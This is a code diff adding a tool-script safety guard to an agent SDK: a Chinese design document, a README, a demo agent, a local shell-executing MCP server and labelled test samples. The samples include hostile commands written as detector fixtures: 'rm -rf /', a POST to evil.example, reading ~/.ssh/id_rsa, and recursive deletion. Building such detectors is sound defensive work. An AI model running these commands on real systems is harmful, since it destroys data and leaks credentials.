executor.execute_code(invocation_context, code_execution_input) +``` + +wrapper 复用 `CodeExecutionInput` adapter，并在单一入口内完成扫描、audit +fail-closed、deny/review 阻断、`asyncio.wait_for()` wall-clock timeout 和 +`CodeExecutionResult` stdout/stderr 截断。取消异步调用不保证底层进程必然退出； +生产 executor 仍必须实现进程终止和运行时资源隔离。 + +### 8.1 审计 + +- enforcement Filter 必须配置 audit sink；CLI 可显式关闭审计用于纯离线扫描。 +- `JsonlAuditSink` 使用进程内锁保护 append，单条完成后 flush；POSIX 上每次 + 打开均强制文件权限为 `0600`。 +- 使用 `CompositeAuditSink` 时，primary sink 写失败会尝试配置的 fallback； + 示例 fallback 为结构化 logger。裸 `JsonlAuditSink` 不会自动 fallback。 + 降级事件把 allow 提升为 `needs_human_review` 并阻断，原 deny/review 继续阻断。 +- 两个 sink 都失败仍 fail closed，返回脱敏错误。无法在存储全故障时承诺日志 + 已落盘，但绝不无审计地执行。 +- `emit_report` 串行调用自定义 sink；进程内 coroutine/thread 并发由锁测试 + 覆盖。多进程部署应使用外部集中 sink，不宣称普通 JSONL 文件具备跨进程原子 + 保证。 + +事件至少包含 tool name、decision、risk level、排序后的 rule ids、duration、 +redacted、execution blocked 和 timestamp，不保存原脚本或 env value。 + +### 8.2 Telemetry + +当前 span 写入： + +- `tool.safety.decision` +- `tool.safety.risk_level` +- `tool.safety.rule_id` +- `tool.safety.duration_ms` +- `tool.safety.redacted` +- `tool.safety.execution_blocked` + +Telemetry 是可降级观测通道；无有效 span 或 attribute 写入失败只记脱敏 debug， +不能泄漏数据，也不能把 deny 改为 allow。 + +## 9. CLI、样本与文档 + +SDK 内 `_cli.py` 承担可测试 CLI 逻辑，`scripts/tool_safety_check.py` 仅做薄入口。 +CLI 支持文件或命令文本、language、policy、report 路径、audit 路径、cwd、 +argv/env key/tool metadata。 + +`examples/tool_safety_guard/manifest.yaml` 记录每个公开样本的 expected decision、 +category 和是否计入安全/危险统计。公开样本严格保留题目要求的 12 个： + +- 安全 Python、白名单网络请求。 +- 危险删除、读取密钥、非白名单网络。 +- subprocess、shell injection、依赖安装、无限循环、敏感信息输出。 +- Bash 管道和动态网络人工复核。 + +验收计算 `false_positive / safe_total <= 10%`、总危险检出率 +`detected_dangerous / dangerous_total >= 90%`，并单独断言危险删除、读取密钥、 +非白名单网络 100% 检出。import alias、常量拼接、嵌套解释器、stdin、相对路径 +等额外绕过变体放在单元测试中，不增加公开交付样本。 + +### 9.1 真实模型执行示例 + +`examples/tool_safety_guard/real_agent.py` 构建一个真实 `LlmAgent`，同时注册： + +- 带 `ToolSafetyFilter` 的 `BashTool`； +- 带 Filter wrapper 的本地 `SkillToolSet`； +- 带 Filter 的本地 stdio `MCPToolset`； +- 包装 `UnsafeLocalCodeExecutor` 的 `SafetyGuardedCodeExecutor`。 + +本地 `mcp_server.py` 暴露真正执行 shell 的 `execute_command`。示例提供四个入口 +各三种场景，共 12 个模型请求。review/deny 使用即使 Guard 失效也只影响示例 +目录的命令；该措施只降低演示风险，不替代生产沙箱。 + +```bash +export TRPC_AGENT_API_KEY='' +export TRPC_AGENT_BASE_URL='https://api.deepseek.com' +export TRPC_AGENT_MODEL_NAME='deepseek-v4-flash' + +python examples/tool_safety_guard/real_agent.py --list-scenarios +python examples/tool_safety_guard/real_agent.py all +python examples/tool_safety_guard/real_agent.py tool-allow +python examples/tool_safety_guard/real_agent.py tool-review +python examples/tool_safety_guard/real_agent.py tool-deny +``` + +终端打印模型发出的 `CALL` 和框架返回的 `RESULT`；完整结构化安全决策写入 +`real_agent_audit.jsonl`。模型可能违反提示，因此验收以实际 `CALL`、`RESULT` +和 audit 三者为准，不能只看最终自然语言回答。 + +## 10. 测试与验收 + +测试层： + +- policy：配置校验、修改生效、域名边界、命令与路径规范化。 +- adapters：四类入口、多个 code block、嵌套解释器、stdin、无法提取 payload。 +- rules/scanner：六类风险、alias/常量折叠、动态输入、聚合、脱敏、递归上限。 +- Filter：allow 调 handler；deny/review/audit failure 不调 handler；timeout + 注入；output 截断。 +- audit/telemetry：字段、fallback、原 secret 不出现在任一序列化路径。 +- concurrency：并发扫描、单进程 JSONL 写入不交错，自定义 sink 回调不重叠。 +- acceptance：manifest 统计、12 类必需样本、500 行脚本小于 1 秒。 +- quality constraints：AST 检查函数体行数、语句数、参数数和文件行数。 + +验收命令： + +```bash +# 新增模块覆盖率（CLI 逻辑位于包内，纳入统计） +pytest tests/tools/safety \ + --cov=trpc_agent_sdk/tools/safety \ + --cov-report=term-missing \ + --cov-fail-under=90 + +# Python 无通用 race detector；以明确的并发安全测试替代 +pytest tests/tools/safety/test_concurrency.py -q + +# 直接受影响模块回归 +pytest tests/filter tests/file_tools/test_bash_tool.py \ + tests/code_executors/test_base_code_executor.py \ + tests/code_executors/test_types.py \ + tests/code_executors/test_local_unsafe_local_code_executor.py \ + tests/code_executors/local tests/telemetry/test_trace.py + +# 格式与 lint；changed_py_files 为相对 main 的新增/修改 Python 文件 +yapf --diff ${changed_py_files} +flake8 --max-complexity=15 ${changed_py_files} +``` + +如环境缺少 `pytest-cov`、YAPF、flake8，必须安装 +`requirements-test.txt`/项目 dev 依赖后验收，不能把缺失工具当作通过。 + +质量硬约束： + +- 函数体不超过 80 行、60 个 AST statement。 +- 圈复杂度不超过 15。 +- 参数不超过 4 个（`self`/`cls` 是否计入由质量测试固定并写明；按用户要求保守 + 计入）。 +- 文件不超过 1000 行。 +- 所有阈值使用命名常量或 policy 字段。 + +## 11. 分阶段实现与 subagent review 关卡 + +### 阶段 0：契约和样本 + +- 建立模型 schema、策略、manifest、统计公式和性能基线。 +- R0：subagent reviewer 检查需求映射、样本代表性、非目标和文件边界。 + +### 阶段 1：adapter、模型、策略、sanitizer + +- 实现所有输入入口、有效 timeout、路径上下文和统一脱敏。 +- R1：subagent reviewer 专查未扫描载荷、secret 泄漏、fail-open。 + +### 阶段 2：Python/Bash/common rules + +- 实现 alias、常量折叠、嵌套解释器和聚合。 +- 跑检出率、误报率、性能与覆盖率。 +- R2：subagent reviewer 专查绕过、规则冲突、复杂度和策略修改效果。 + +### 阶段 3：Filter、CodeExecutor wrapper、audit、telemetry + +- 实现执行前阻断、timeout 注入、output 截断、CodeExecutor 统一安全入口、 + 审计 fallback。 +- R3：subagent reviewer 检查 handler 顺序、audit fail-closed、并发和错误边界。 + +### 阶段 4：CLI、示例、目标验收 + +- 生成报告/audit 示例，完成接入和限制文档。 +- 跑新增模块 coverage、concurrency、直接受影响模块 pytest、YAPF、flake8。 +- R4：subagent reviewer 独立 review 最终 diff 和验收证据；修复后完整复跑。 + +## 12. 预计文件路径 + +新增 SDK： + +- `trpc_agent_sdk/tools/safety/__init__.py` +- `trpc_agent_sdk/tools/safety/_models.py` +- `trpc_agent_sdk/tools/safety/_sanitizer.py` +- `trpc_agent_sdk/tools/safety/_python_rules.py` +- `trpc_agent_sdk/tools/safety/_bash_rules.py` +- `trpc_agent_sdk/tools/safety/_common_rules.py` +- `trpc_agent_sdk/tools/safety/_scanner.py` +- `trpc_agent_sdk/tools/safety/_audit.py` +- `trpc_agent_sdk/tools/safety/_integration.py` +- `trpc_agent_sdk/tools/safety/_cli.py` + +新增 CLI/示例： + +- `scripts/tool_safety_check.py` +- `examples/tool_safety_guard/README.md` +- `examples/tool_safety_guard/tool_safety_policy.yaml` +- `examples/tool_safety_guard/manifest.yaml` +- `examples/tool_safety_guard/samples/` 下公开 `.py`/`.sh` 样本 +- `examples/tool_safety_guard/tool_safety_report.json` +- `examples/tool_safety_guard/tool_safety_audit.jsonl` +- `examples/tool_safety_guard/real_agent.py` +- `examples/tool_safety_guard/mcp_server.py` +- `examples/tool_safety_guard/skills/safety-demo/SKILL.md` + +新增测试： + +- `tests/tools/safety/test_models_and_policy.py` +- `tests/tools/safety/test_adapters.py` +- `tests/tools/safety/test_scanner.py` +- `tests/tools/safety/test_filter.py` +- `tests/tools/safety/test_code_executor.py` +- `tests/tools/safety/test_audit_and_telemetry.py` +- `tests/tools/safety/test_concurrency.py` +- `tests/tools/safety/test_cli_and_acceptance.py` +- `tests/tools/safety/test_quality_constraints.py` + +修改： + +- `trpc_agent_sdk/filter/_filter_runner.py`：确保执行门禁在 handler 前最后运行， + 防止其他 filter/callback 在扫描后修改执行参数，并应用 opt-in timeout/output + hooks。 + +明确不修改： + +- `trpc_agent_sdk/tools/_base_tool.py` +- `trpc_agent_sdk/filter/_base_filter.py` +- `trpc_agent_sdk/code_executors/_base_code_executor.py` +- 现有 Tool/Skill/CodeExecutor 实现 + +## 13. 已知限制 + +- 静态规则仍可被复杂反射、编码、运行时下载和解释器差异绕过。 +- 简单 secret taint 不能覆盖完整跨函数/跨文件数据流。 +- `shlex` 不是完整 Bash parser，复杂语法会偏向人工复核。 +- 符号链接、真实 DNS 解析、CPU/内存/PID 和子进程输出资源只能由运行时沙箱 + 强制。 +- JSONL 是本地审计示例，不是防篡改集中审计系统。 +- 只有挂载 Filter 或显式调用 Guard 的执行入口受保护；部署必须清点所有入口。 + +## 14. 初版 review 处理记录 + +独立 subagent review 的 9 项必须修改全部纳入： + +- 执行载荷绕过：新增 tool-specific adapters、嵌套解释器/stdin/code blocks。 +- 限额语义：定义有效 timeout、写回执行参数、明确 output 能力边界。 +- audit failure：改为 fail closed，补锁、flush、fallback 和并发测试。 +- `allowed_commands`：定义逐段、递归和 Python subprocess 语义。 +- 禁止路径：加入 cwd/目标 home/root、Windows 和动态路径处理。 +- AST/Bash 绕过：加入 alias、常量折叠和嵌套命令。 +- 脱敏：统一 sanitizer，覆盖全部输出路径。 +- 统计验收：增加安全 corpus、变体和明确公式。 +- 命令验收：加入 CLI 包覆盖、并发测试、直接受影响模块回归和复杂度检查。 + +同时采纳可选建议，将规则按 Python、Bash、common 拆分，降低单文件行数和圈 +复杂度风险。 diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md new file mode 100644 index 000000000..5992ffcb0 --- /dev/null +++ b/examples/tool_safety_guard/README.md @@ -0,0 +1,129 @@ +# Tool Script Safety Guard + +该示例展示 Python/Bash 静态扫描、Tool Filter、CodeExecutor wrapper、策略、 +报告、审计和 OpenTelemetry 接入。 + +## CLI + +```bash +python scripts/tool_safety_check.py \ + --file examples/tool_safety_guard/samples/danger_delete.py \ + --language python \ + --policy examples/tool_safety_guard/tool_safety_policy.yaml \ + --report tool_safety_report.json \ + --audit tool_safety_audit.jsonl +``` + +退出码：`0=allow`、`2=needs_human_review`、`3=deny`、`1=CLI/config error`。 + +## Tool Filter + +```python +from trpc_agent_sdk.tools import BashTool +from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import ToolSafetyFilter + +audit = JsonlAuditSink("tool_safety_audit.jsonl") +safety_filter = ToolSafetyFilter.from_policy( + "examples/tool_safety_guard/tool_safety_policy.yaml", + audit, +) +tool = BashTool(cwd=".") +tool.add_one_filter(safety_filter) +``` + +Filter 在 `_run_async_impl()` 前扫描。`deny` 和 `needs_human_review` 不执行 +handler；`allow` 把有效 timeout 注入 Tool 参数，并在 `_after` 阶段限制返回给 +Agent 的 output 大小。安全 Filter 应放在所有参数改写 Filter 之后，后续 Filter +也不应扩展其已截断的输出。CodeExecutor wrapper 另外使用协作式 deadline。 + +## CodeExecutor + +```python +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard + +safe_executor = SafetyGuardedCodeExecutor( + delegate=executor, + guard=ToolScriptSafetyGuard.from_policy( + "examples/tool_safety_guard/tool_safety_policy.yaml", + ), + audit_sink=audit, +) +``` + +wrapper 统一执行扫描、审计、阻断、wall-clock timeout 和返回 output 截断； +超时返回 `CodeExecutionResult(is_timed_out=True)`。 + +## 真实模型 Agent + +`real_agent.py` 创建一个真正的 `LlmAgent`，同时接入： + +- `BashTool` +- `SkillToolSet` 的 `skill_run`/`skill_exec`/`workspace_exec` +- 本地 stdio MCP Tool `execute_command` +- `SafetyGuardedCodeExecutor` + +每个入口都提供 `allow`、`review`、`deny` 场景： + +```bash +export TRPC_AGENT_API_KEY='' +export TRPC_AGENT_BASE_URL='https://api.deepseek.com' +export TRPC_AGENT_MODEL_NAME='deepseek-v4-flash' + +python examples/tool_safety_guard/real_agent.py --list-scenarios +python examples/tool_safety_guard/real_agent.py all +python examples/tool_safety_guard/real_agent.py tool-allow +python examples/tool_safety_guard/real_agent.py mcp-review +python examples/tool_safety_guard/real_agent.py skill-deny +python examples/tool_safety_guard/real_agent.py executor-allow +``` + +场景共 12 个，命名为 +`{tool|mcp|skill|executor}-{allow|review|deny}`。终端输出模型实际发出的 `CALL` +和框架返回的 `RESULT`，audit 默认写入 `real_agent_audit.jsonl`。 + +MCP 子进程只继承运行所需的 `PATH`/Python/系统环境，不继承 API key、token 等 +父进程密钥。 + +review/deny 使用演示目录内的有限副作用命令，但本示例仍包含真实本地执行器。 +不要在生产主机运行；生产必须换成容器/沙箱执行器。密钥只通过环境变量传入， +禁止写入代码、策略、prompt 或 audit。 + +### 真实运行结果 + +使用 `deepseek-v4-flash` 实际运行四类入口后的结果： + +| 入口 | allow | review | deny | +|---|---|---|---| +| `BashTool` | handler 执行，stdout=`tool-allow` | `PROC001/medium`，未执行 | `FILE001/critical`，未执行 | +| Skill `skill_run` | workspace 执行，stdout=`skill-allow` | `PROC001/medium`，未执行 | `FILE001/critical`，未执行 | +| MCP `execute_command` | MCP server 收到调用，stdout=`mcp-allow` | `PROC001/medium`，MCP server 未收到调用 | `FILE001/critical`，MCP server 未收到调用 | +| CodeExecutor | `Outcome.OUTCOME_OK`，输出 `executor-allow` | `PROC001/high`，delegate 未执行 | `FILE001/critical`，delegate 未执行 | + +模型在 `skill-review` 的自然语言总结中曾错误描述为“没有阻断”，但实际 +`RESULT` 是 `needs_human_review`，且 handler 未运行。这说明安全验收必须以 +结构化 Tool result 和 audit 为准，不能信任模型对安全结果的二次转述。 +真实模型验收依赖付费外部 API 且输出非确定，因此不进入默认 pytest；上述 +`all` 命令是可重复的显式验收入口，默认测试继续覆盖确定性的 handler 未调用 +断言。 + +## 扩展规则 + +在 `_python_rules.py`、`_bash_rules.py` 或 `_common_rules.py` 中增加小型规则， +使用 `_common_rules.py` 的 `RuleSpec` 和 `make_finding()`，并补充 rule id、decision、 +evidence、recommendation 测试。策略字段由 Pydantic 严格校验。 + +## 安全边界 + +该机制是执行前静态检查，不是沙箱。动态拼接、反射、编码混淆、运行时下载、 +符号链接、DNS 重绑定和未知解释器语义可能绕过规则。它也不能强制 CPU、内存、 +PID、磁盘、网络或子进程内核输出配额。 +不响应 Python 取消的第三方 handler 也可能延迟返回，必须由执行器或容器提供 +进程级硬超时和清理。 + +生产环境仍需容器/沙箱、最小权限、只读挂载、网络白名单和运行时资源限制。 +Filter 只保护明确挂载它的 Tool；必须清点所有 Tool、MCP Tool、Skill 和 +CodeExecutor 执行入口。JSONL 仅为本地示例，多进程生产部署应使用集中审计。 +POSIX 上 JSONL 文件强制为 `0600`；自定义 audit sink 通过 `emit_report` 串行 +调用。 diff --git a/examples/tool_safety_guard/manifest.yaml b/examples/tool_safety_guard/manifest.yaml new file mode 100644 index 000000000..71b08babc --- /dev/null +++ b/examples/tool_safety_guard/manifest.yaml @@ -0,0 +1,13 @@ +samples: + - {file: samples/safe_python.py, language: python, expected: allow, safe: true} + - {file: samples/safe_allowed_request.py, language: python, expected: allow, safe: true} + - {file: samples/danger_delete.py, language: python, expected: deny, category: file} + - {file: samples/danger_ssh.py, language: python, expected: deny, category: file} + - {file: samples/danger_network.py, language: python, expected: deny, category: network} + - {file: samples/review_dynamic_network.py, language: python, expected: needs_human_review, category: network} + - {file: samples/review_subprocess.py, language: python, expected: needs_human_review, category: process} + - {file: samples/danger_shell_injection.sh, language: bash, expected: deny, category: process} + - {file: samples/review_dependency.sh, language: bash, expected: needs_human_review, category: dependency} + - {file: samples/danger_loop.py, language: python, expected: deny, category: resource} + - {file: samples/danger_secret.py, language: python, expected: deny, category: secret} + - {file: samples/review_pipeline.sh, language: bash, expected: needs_human_review, category: process} diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py new file mode 100644 index 000000000..8b72aecce --- /dev/null +++ b/examples/tool_safety_guard/mcp_server.py @@ -0,0 +1,38 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Local stdio MCP command server used by the real-agent safety demo.""" + +from __future__ import annotations + +import asyncio +from pathlib import Path + +from mcp.server import FastMCP + +APP = FastMCP("tool-safety-demo") +WORK_DIR = Path(__file__).resolve().parent +MAX_OUTPUT_CHARS = 4096 + + +@APP.tool() +async def execute_command(command: str) -> dict: + """Execute one shell command in the disposable example directory.""" + process = await asyncio.create_subprocess_shell( + command, + cwd=WORK_DIR, + stdout=asyncio.subprocess.PIPE, + stderr=asyncio.subprocess.PIPE, + ) + stdout, stderr = await process.communicate() + return { + "return_code": process.returncode, + "stdout": stdout.decode(errors="replace")[:MAX_OUTPUT_CHARS], + "stderr": stderr.decode(errors="replace")[:MAX_OUTPUT_CHARS], + } + + +if __name__ == "__main__": + APP.run(transport="stdio") diff --git a/examples/tool_safety_guard/real_agent.py b/examples/tool_safety_guard/real_agent.py new file mode 100644 index 000000000..42d44dab0 --- /dev/null +++ b/examples/tool_safety_guard/real_agent.py @@ -0,0 +1,261 @@ +# Tencent is pleased to support the open source community by making tRPC-Agent-Python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# tRPC-Agent-Python is licensed under Apache-2.0. +"""Run one real LLM agent through every protected execution entry point.""" + +from __future__ import annotations + +import argparse +import asyncio +import os +import sys +import uuid +from pathlib import Path +from typing import Any + +from dotenv import load_dotenv +from trpc_agent_sdk.agents import LlmAgent +from trpc_agent_sdk.code_executors import CodeExecutionInput +from trpc_agent_sdk.code_executors import UnsafeLocalCodeExecutor +from trpc_agent_sdk.context import InvocationContext +from trpc_agent_sdk.models import OpenAIModel +from trpc_agent_sdk.runners import Runner +from trpc_agent_sdk.sessions import InMemorySessionService +from trpc_agent_sdk.skills import SkillToolSet +from trpc_agent_sdk.tools import BaseTool +from trpc_agent_sdk.tools import BashTool +from trpc_agent_sdk.tools import MCPToolset +from trpc_agent_sdk.tools import McpStdioServerParameters +from trpc_agent_sdk.tools import StdioConnectionParams +from trpc_agent_sdk.tools.safety import JsonlAuditSink +from trpc_agent_sdk.tools.safety import SafetyGuardedCodeExecutor +from trpc_agent_sdk.tools.safety import ToolSafetyFilter +from trpc_agent_sdk.tools.safety import ToolSafetyViolation +from trpc_agent_sdk.tools.safety import ToolScriptSafetyGuard +from trpc_agent_sdk.types import Content +from trpc_agent_sdk.types import FunctionDeclaration +from trpc_agent_sdk.types import Part +from trpc_agent_sdk.types import Schema +from trpc_agent_sdk.types import Type + +EXAMPLE_DIR = Path(__file__).resolve().parent +POLICY_PATH = EXAMPLE_DIR / "tool_safety_policy.yaml" +SKILLS_PATH = EXAMPLE_DIR / "skills" +MCP_SERVER_PATH = EXAMPLE_DIR / "mcp_server.py" +DEFAULT_BASE_URL = "https://api.deepseek.com" +DEFAULT_MODEL_NAME = "deepseek-v4-flash" +DEFAULT_TIMEOUT_SECONDS = 10 +MCP_ENV_KEYS = ("LD_LIBRARY_PATH", "PATH", "PYTHONPATH", "SYSTEMROOT", "WINDIR") +PROTECTED_SKILL_TOOLS = frozenset({"skill_run", "skill_exec", "workspace_exec"}) +APP_NAME = "tool_safety_real_agent" +USER_ID = "safety_demo_user" +INSTRUCTION = """ +You are a deterministic Tool Script Safety Guard demo agent. +Follow the requested entry point and arguments exactly. Never replace it with another tool. +After one attempt, report the returned decision/result. Do not retry blocked calls. +For skill scenarios, call skill_load for safety-demo before skill_run. +""" +SCENARIOS = { + "tool-allow": + "Call Bash exactly once with command `echo tool-allow`.", + "tool-review": + "Call Bash exactly once with command `echo tool-review | cat`.", + "tool-deny": + "Call Bash exactly once with command `rm -rf safety-demo-trash`.", + "mcp-allow": + "Call execute_command exactly once with command `echo mcp-allow`.", + "mcp-review": + "Call execute_command exactly once with command `echo mcp-review | cat`.", + "mcp-deny": + "Call execute_command exactly once with command `rm -rf safety-demo-trash`.", + "skill-allow": + "Load safety-demo, then call skill_run with command `echo skill-allow`.", + "skill-review": + "Load safety-demo, then call skill_run with command `echo skill-review | cat`.", + "skill-deny": + "Load safety-demo, then call skill_run with command `rm -rf safety-demo-trash`.", + "executor-allow": + "Call execute_code exactly once with code `print('executor-allow')`.", + "executor-review": ("Call execute_code exactly once with code " + "`import subprocess; subprocess.run(['echo', 'executor-review'])`."), + "executor-deny": ("Call execute_code exactly once with code " + "`import shutil; shutil.rmtree('safety-demo-trash')`."), +} + + +class PortableLocalCodeExecutor(UnsafeLocalCodeExecutor): + """Use the running interpreter when a python3 binary is unavailable.""" + + def _build_command_args(self, language: str, file_path: Path) -> list[str]: + if language.lower() in {"python", "py", "python3"}: + return [sys.executable, str(file_path)] + return super()._build_command_args(language, file_path) + + +class SafetyFilteredSkillToolSet(SkillToolSet): + """Attach one safety filter to every command-running Skill tool.""" + + def __init__(self, safety_filter: ToolSafetyFilter): + super().__init__(paths=[str(SKILLS_PATH)]) + self._safety_filter = safety_filter + + async def get_tools(self, invocation_context=None): + tools = await super().get_tools(invocation_context) + for tool in tools: + if tool.name in PROTECTED_SKILL_TOOLS: + tool.add_one_filter(self._safety_filter) + return tools + + +class CodeExecutorTool(BaseTool): + """Expose a guarded CodeExecutor as a model-callable tool.""" + + def __init__(self, executor: SafetyGuardedCodeExecutor): + super().__init__( + name="execute_code", + description="Execute Python code through SafetyGuardedCodeExecutor.", + ) + self._executor = executor + + def _get_declaration(self) -> FunctionDeclaration: + return FunctionDeclaration( + name=self.name, + description=self.description, + parameters=Schema( + type=Type.OBJECT, + properties={ + "code": Schema(type=Type.STRING, description="Python source code."), + }, + required=["code"], + ), + ) + + async def _run_async_impl(self, *, tool_context: InvocationContext, args: dict[str, Any]) -> Any: + try: + result = await self._executor.execute_code( + tool_context, + CodeExecutionInput(code=str(args.get("code", ""))), + ) + except ToolSafetyViolation as error: + return error.report.as_dict() + return { + "outcome": str(result.outcome), + "output": result.output, + } + + +def _model() -> OpenAIModel: + api_key = os.getenv("TRPC_AGENT_API_KEY", "") + if not api_key: + raise ValueError("TRPC_AGENT_API_KEY must be set") + return OpenAIModel( + model_name=os.getenv("TRPC_AGENT_MODEL_NAME", DEFAULT_MODEL_NAME), + api_key=api_key, + base_url=os.getenv("TRPC_AGENT_BASE_URL", DEFAULT_BASE_URL), + ) + + +def _mcp_toolset(safety_filter: ToolSafetyFilter) -> MCPToolset: + child_env = {key: os.environ[key] for key in MCP_ENV_KEYS if key in os.environ} + server = McpStdioServerParameters( + command=sys.executable, + args=[str(MCP_SERVER_PATH)], + env=child_env, + ) + return MCPToolset( + connection_params=StdioConnectionParams( + server_params=server, + timeout=DEFAULT_TIMEOUT_SECONDS, + ), + filters=[safety_filter], + ) + + +def create_agent(audit_path: Path) -> LlmAgent: + """Build one real agent covering Tool, Skill, MCP Tool and CodeExecutor.""" + audit = JsonlAuditSink(audit_path) + guard = ToolScriptSafetyGuard.from_policy(POLICY_PATH) + safety_filter = ToolSafetyFilter(guard, audit) + bash = BashTool(cwd=str(EXAMPLE_DIR)) + bash.add_one_filter(safety_filter) + executor = SafetyGuardedCodeExecutor( + delegate=PortableLocalCodeExecutor(timeout=DEFAULT_TIMEOUT_SECONDS), + guard=guard, + audit_sink=audit, + ) + skill_toolset = SafetyFilteredSkillToolSet(safety_filter) + return LlmAgent( + name="tool_safety_demo", + description="Agent demonstrating guarded execution entry points.", + model=_model(), + instruction=INSTRUCTION, + tools=[ + bash, + skill_toolset, + _mcp_toolset(safety_filter), + CodeExecutorTool(executor), + ], + skill_repository=skill_toolset.repository, + ) + + +def _print_event(event) -> None: + if not event.content or not event.content.parts: + return + for part in event.content.parts: + if part.function_call: + print(f"CALL {part.function_call.name}: {part.function_call.args}") + elif part.function_response: + print(f"RESULT {part.function_response.name}: {part.function_response.response}") + elif part.text and not part.thought: + print(part.text, end="" if event.partial else "\n") + + +async def run_scenarios(names: list[str], audit_path: Path) -> None: + agent = create_agent(audit_path) + sessions = InMemorySessionService() + runner = Runner(app_name=APP_NAME, agent=agent, session_service=sessions) + try: + for name in names: + print(f"\n=== {name} ===") + session_id = str(uuid.uuid4()) + await sessions.create_session( + app_name=APP_NAME, + user_id=USER_ID, + session_id=session_id, + ) + message = Content(parts=[Part.from_text(text=SCENARIOS[name])]) + async for event in runner.run_async( + user_id=USER_ID, + session_id=session_id, + new_message=message, + ): + _print_event(event) + finally: + await runner.close() + + +def _parser() -> argparse.ArgumentParser: + parser = argparse.ArgumentParser(description=__doc__) + parser.add_argument("scenario", nargs="?", choices=["all", *sorted(SCENARIOS)]) + parser.add_argument("--audit", type=Path, default=EXAMPLE_DIR / "real_agent_audit.jsonl") + parser.add_argument("--list-scenarios", action="store_true") + return parser + + +def main() -> None: + load_dotenv() + args = _parser().parse_args() + if args.list_scenarios: + print("\n".join(sorted(SCENARIOS))) + return + if not args.scenario: + raise SystemExit("scenario is required unless --list-scenarios is used") + names = list(SCENARIOS) if args.scenario == "all" else [args.scenario] + asyncio.run(run_scenarios(names, args.audit)) + + +if __name__ == "__main__": + main() diff --git a/examples/tool_safety_guard/samples/danger_delete.py b/examples/tool_safety_guard/samples/danger_delete.py new file mode 100644 index 000000000..2127b92ac --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_delete.py @@ -0,0 +1,3 @@ +import shutil + +shutil.rmtree("/tmp/important") diff --git a/examples/tool_safety_guard/samples/danger_loop.py b/examples/tool_safety_guard/samples/danger_loop.py new file mode 100644 index 000000000..0880e7ee7 --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_loop.py @@ -0,0 +1,2 @@ +while True: + pass diff --git a/examples/tool_safety_guard/samples/danger_network.py b/examples/tool_safety_guard/samples/danger_network.py new file mode 100644 index 000000000..4ae94fa4e --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_network.py @@ -0,0 +1,3 @@ +import requests + +requests.post("https://evil.example/upload", data="content") diff --git a/examples/tool_safety_guard/samples/danger_secret.py b/examples/tool_safety_guard/samples/danger_secret.py new file mode 100644 index 000000000..ad5d05a11 --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_secret.py @@ -0,0 +1,2 @@ +api_key = "sk-example-secret-value" +print(api_key) diff --git a/examples/tool_safety_guard/samples/danger_shell_injection.sh b/examples/tool_safety_guard/samples/danger_shell_injection.sh new file mode 100644 index 000000000..2808fcf2f --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_shell_injection.sh @@ -0,0 +1 @@ +echo "starting"; rm -rf / diff --git a/examples/tool_safety_guard/samples/danger_ssh.py b/examples/tool_safety_guard/samples/danger_ssh.py new file mode 100644 index 000000000..8ad2b6f1b --- /dev/null +++ b/examples/tool_safety_guard/samples/danger_ssh.py @@ -0,0 +1,3 @@ +from pathlib import Path + +print(Path("~/.ssh/id_rsa").read_text()) diff --git a/examples/tool_safety_guard/samples/review_dependency.sh b/examples/tool_safety_guard/samples/review_dependency.sh new file mode 100644 index 000000000..1278cc21e --- /dev/null +++ b/examples/tool_safety_guard/samples/review_dependency.sh @@ -0,0 +1 @@ +pip install untrusted-package diff --git a/examples/tool_safety_guard/samples/review_dynamic_network.py b/examples/tool_safety_guard/samples/review_dynamic_network.py new file mode 100644 index 000000000..e8ed4325b --- /dev/null +++ b/examples/tool_safety_guard/samples/review_dynamic_network.py @@ -0,0 +1,3 @@ +import requests + +requests.get(target_url) diff --git a/examples/tool_safety_guard/samples/review_pipeline.sh b/examples/tool_safety_guard/samples/review_pipeline.sh new file mode 100644 index 000000000..68f07f3d4 --- /dev/null +++ b/examples/tool_safety_guard/samples/review_pipeline.sh @@ -0,0 +1 @@ +echo "hello" | cat diff --git a/examples/tool_safety_guard/samples/review_subprocess.py b/examples/tool_safety_guard/samples/review_subprocess.py new file mode 100644 index 000000000..2e9ead3ce --- /dev/null +++ b/examples/tool_safety_guard/samples/review_subprocess.py @@ -0,0 +1,3 @@ +import subprocess + +subprocess.run(["echo", "hello"], check=True) diff --git a/examples/tool_safety_guard/samples/safe_allowed_request.py b/examples/tool_safety_guard/samples/safe_allowed_request.py new file mode 100644 index 000000000..6d074ced1 --- /dev/null +++ b/examples/tool_safety_guard/samples/safe_allowed_request.py @@ -0,0 +1,3 @@ +import requests + +requests.get("https://api.example.com/v1/status", timeout=5) diff --git a/examples/tool_safety_guard/samples/safe_python.py b/examples/tool_safety_guard/samples/safe_python.py new file mode 100644 index 000000000..7aa13646b --- /dev/null +++ b/examples/tool_safety_guard/samples/safe_python.py @@ -0,0 +1,2 @@ +values = [1, 2, 3] +print(sum(values)) diff --git a/examples/tool_safety_guard/skills/safety-demo/SKILL.md b/examples/tool_safety_guard/skills/safety-demo/SKILL.md new file mode 100644 index 000000000..53d2356cb --- /dev/null +++ b/examples/tool_safety_guard/skills/safety-demo/SKILL.md @@ -0,0 +1,9 @@ +--- +name: safety-demo +description: Run the exact harmless safety-demonstration command requested by the user. +--- + +# Safety demo + +Use `skill_run` to execute the exact command supplied by the user. Do not rewrite, +substitute, retry, or broaden the command. Return the structured result unchanged. diff --git a/examples/tool_safety_guard/tool_safety_audit.jsonl b/examples/tool_safety_guard/tool_safety_audit.jsonl new file mode 100644 index 000000000..1cc19aab3 --- /dev/null +++ b/examples/tool_safety_guard/tool_safety_audit.jsonl @@ -0,0 +1 @@ 